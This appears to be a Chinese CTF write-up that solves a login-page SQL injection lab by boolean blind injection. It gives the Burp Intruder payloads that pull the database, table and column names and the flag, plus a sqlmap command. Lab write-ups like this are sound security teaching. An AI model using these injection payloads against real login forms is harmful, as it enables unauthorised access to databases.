0到1 ctfer: SQL注入-2

分析这个靶场 :
登录靶场,只有一个空空的界面:
image
很明显,这是一个登录到账号密码的关于SQL注入的题目
尝试输入admin和其他用户名,发现是不一样的报错:
image
image
说明这里的机制是:先检查账号是否存在,再检查账号和密码是否对应
由此可以使用burpsuite抓包进行报错注入的操作:
经过抓包,在burp上显示不同的内容:
“账号不存在”
image
“账号和密码错误”
image
所以由此可以判断出,账号密码是否正确,来源于报错:

  • 用户名正确报错:
  • 用户名不存在报错:

依据此信息可以对其进行报错注入:

手工方法:

判断数据库:

使用burpsuite加上合适的payload即可:

判断数据库名称的字符数
经过尝试,数据库名称字符数为4

name=admin'+and+if(length(database())=4,true,false)%23&pass=a

判断数据库名称:
用intruder暴力破解数据库名称:

name=admin'+and+substr(database(),1,1)='f'%23&pass=a

image
image
得到数据库名称为note

判断表名
就不进行表的位数判断了,直接上intruder
暴力破解数据表名:

name=admin'+AND+substr((SELECT+group_concat(table_name)+FROM+information_schema.tables+WHERE+table_schema=database()),1,1)='f'%23

经过测试,最好SQL语句的操作是大写,存在过滤小写的过滤器
image
表名称有两个:fl4g和users

判断列名:
暴力破解列名称:

name=admin'+AND+substr((SELECT+group_concat(column_name)+FROM+information_schema.columns+WHERE+table_schema=database()),1,1)='f'%23

image
image
四列:flag,id,username,passwords

找出flag
flag的值应该存在于数据表为fl4g的flag列,注意修改字典,要添加数字和一些特殊符号进去

name=admin'+AND+substr((SELECT+group_concat(flag)+FROM+flag),1,1)='a'%23

image
image
flag就可以出来了:n1book{login_sqli_is_nice}

sqlmap

将抓到带有SQL注入的数据包保存到文件中
image
image
使用sqlmap打开,并用-p指定参数name为注入点

sqlmap -r 'a.txt' -p name --batch

之后再加上一些参数爆破出一些东西就不赘述了

posted @ 2021-08-31 08:40  Zeker62  阅读(260)  评论(0编辑  收藏  举报